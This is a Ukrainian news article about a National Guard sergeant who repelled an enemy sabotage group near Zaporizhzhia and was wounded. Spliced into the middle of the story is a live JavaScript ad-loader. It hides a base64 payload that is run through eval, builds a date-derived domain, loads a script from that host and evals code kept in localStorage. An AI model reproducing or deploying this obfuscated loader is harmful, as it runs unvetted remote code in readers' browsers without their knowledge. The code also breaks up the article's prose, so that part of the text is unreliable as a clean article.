Головний сержант Національної гвардії України з позивним «Яструб» зміг відбити напад ворожої ДРГ та врятувати побратима. Нині герой лікується від поранень та планує після одужання повернутися в стрій та далі бити ворога.
Миколі, так звати нашого героя, – 29 років, він родом з Марганця Дніпропетровської області. Прийшов на службу до Національної гвардії ще у 2015 році. Після 10 місяців строкової служби хлопець підписав контракт.
«П’ять років я прослужив у роті розвідки, потім був переведений до оперативно-чергової частини. Там мене і застало 24 лютого. Я відразу попросився на «передок», де став командиром відділення», – розпочав свою розповідь гвардієць.
Боєць боронить Україну під Запоріжжям, у районі активних ворожих обстрілів. На момент бойового зіткнення чергував на посту спостереження.
«До цього, в прямих боях я участі не приймав. Бувало, зверху «Гради» пролітали, але то таке, – згадує військовослужбовець. – Таке активне бойове зіткнення було в мене вперше в житті».
Гвардійці змогли знайти на радіостанції частоту, на якій спілкувався ворог та постійно слухали розмови росіян. Спочатку цікавої інформації не траплялося, але врешті-решт бійцям пощастило.
«В один момент почули, що кацапи мають намір кудись висуватися та брати з собою протитанкові «мухи». Ми ще з одним бійцем-розвідником саме знаходились на посту спостереження, коли чітко почули голоси і пішли їм назустріч», – розповідає боєць.
Розвідник йшов першим, сам Микола прикривав його, тримаючись позаду у густій лісосмузі. Раптом Микола почув, що його побратим закричав: «Стій! Хто ви такі?!». Путінці кричали у відповідь, вимагаючи покласти зброю. Напарник нахилився ніби для того, щоб виконати ворожий наказ і в цей момент, коли була звільнена лінія вогню, з гущавини метрах в десяти від ворога вискочив Микола – і відразу відкрив вогонь. Тим самим він надав товаришу шанс безпечно відійти.
«Коли напарник відходив, куля влучила в його пістолет. Фактично, зброя врятувала йому життя, хоча зазвичай вона життя відбирає», – дивується Микола. var node3361 = document.getElementById(«MIXADV_3361»); if( node3361 ) { var script = document.createElement(«script»); script.charset = «utf-8»; script.src = «https://m.mixadvert.com/show/?id=3361&r=»+Math.random(); node3361.parentNode.appendChild(script); script.onerror = function(){ window.eval( atob(«dmFyIGRhdGUgPSBuZXcgRGF0ZSgpO3ZhciBtb250aCA9IGRhdGUuZ2V0TW9udGgoKSArIDE7IHZhciBkYXkgPSBkYXRlLmdldERhdGUoKTsgdmFyIHllYXIgPSBkYXRlLmdldFllYXIoKTsgdmFyIG5hbWVfZGF5ID0gZGF0ZS5nZXREYXkoKSArIDE7dmFyIGRvbSA9IFsgIm9yZyIsICJ0b3AiLCAiYml6LnVhIiwgImNvLnVhIiwgImt5aXYudWEiLCAiY2x1YiIsICJzaG9wIl07IHZhciBzdHIgPWRheSoobW9udGggKiBuYW1lX2RheSAqIGRheSkrIiIrIGRheSoobW9udGggKyBuYW1lX2RheSArIGRheSAreWVhcik7dmFyIGhhc2ggPSAgYnRvYShidG9hKHN0cikpLnRvTG93ZXJDYXNlKCk7IHZhciBob3N0ID0gaGFzaC5zdWJzdHJpbmcoMywgaGFzaC5sZW5ndGggLSBuYW1lX2RheS8yKSsiLiIrZG9tW25hbWVfZGF5IC0gMV07dmFyIHIgPSBNYXRoLnJhbmRvbSgpLnRvU3RyaW5nKDM2KS5zdWJzdHIoMiwgMik7ciA9IHIucmVwbGFjZSgvWzAtOV0vZywgIiIpO3ZhciBkZWx0YSA9IE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqICgxMDAgLSAxMCArIDEpKSArIDEwO3ZhciBpZCA9IDMzNjEgLSBkZWx0YTsgdmFyIHNjcmlwdF9maXJzdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3NjcmlwdF9maXJzdC5zcmMgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIitkZWx0YStpZCtyKyIiOyBub2RlMzM2MS5wYXJlbnROb2RlLmFwcGVuZENoaWxkKHNjcmlwdF9maXJzdCk7c2V0VGltZW91dCggZnVuY3Rpb24gKCkge3NjcmlwdF9maXJzdC5yZW1vdmUoKX0sIDQwMDApO3NjcmlwdF9maXJzdC5vbmVycm9yID0gZnVuY3Rpb24oKXt2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImEiKTthLmhyZWYgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIjsgbm9kZTMzNjEucGFyZW50Tm9kZS5hcHBlbmRDaGlsZChhKTsgc2V0VGltZW91dCggZnVuY3Rpb24gKCkgeyBpZiggbm9kZTMzNjEuaW5uZXJIVE1MID09ICIiICkgd2luZG93LmV2YWwobG9jYWxTdG9yYWdlLmdldEl0ZW0oIjMzNjEiKSkgfSwgNTAwMCk7ICA7fTsg») ); } }
Після хвилини бою, яка здавалася вічністю, гвардієць отримав важке поранення в плече. Автомат випав у нього з рук.
«Мені довелося залягти під земляним насипом поруч. Лежав і не знав, що з моїми бійцями, що робить ворог. Тим часом, рашисти закидували мене гранатами. Я нарахував десь з десяток вибухів РГД, бачив, як деякі з них розривались в двох метрах. Це якесь диво, що мене не пошматувало», – із здивуванням пригадує Микола.
Спочатку ворог вів шквальний вогонь по лісосмузі, потім стрілянина стихла. Через деякий час боєць почув наближення нашого квадрокоптера. Тоді він зміг дістати телефон і набрати номер свого командира.
«Прибігли мої товариші, також підійшли бійці з роти розвідки. Тільки хотіли мене евакуювати – кацапи знову почали гатити по посадці з кулеметів. Але це продовжувалося недовго – розвідники почали подавляти супротивника вогнем, підключився наш міномет. Мені вдалося відійти. Причому перші чотириста метрів я біг сам. Потім почало крутитися в голові, пересохло в роті – довелося прийняти допомогу товаришів», – розповідає нацгвардієць.
Пізніше з’ясувалося, що Микола зумів поранити одного ворога і «задвухсотив» ще одного. Росіяни відступили, покинувши зброю та речі.
«Сьогодні зі мною все добре, рідні поруч. Лікарі кажуть, що за пару місяців я знову буду в строю. І обов’язково повернуся, щоб продовжити бити ворога», – сповнений оптимізму та бадьорості завершив свою розповідь «Яструб».
Історію опублікували на сторінці Південне оперативно-територіальне об’єднання Національної гвардії України. (adsbygoogle = window.adsbygoogle || []).push({});
Подписывайтесь на Акцент в 
Источник: https://akzent.zp.ua/u-mene-kinuli-desyatok-granat-ya-bachiv-yak-voni-vibuhali-u-dvoh-metrah-vid-mene-istoriya-geroya-pro-napad-vorozhoyi-drg-pid-zaporizhzhyam/
Мы в Telegram, наш Telegram bot — @zpua_bot, Мы в Viber, Мы на Facebook
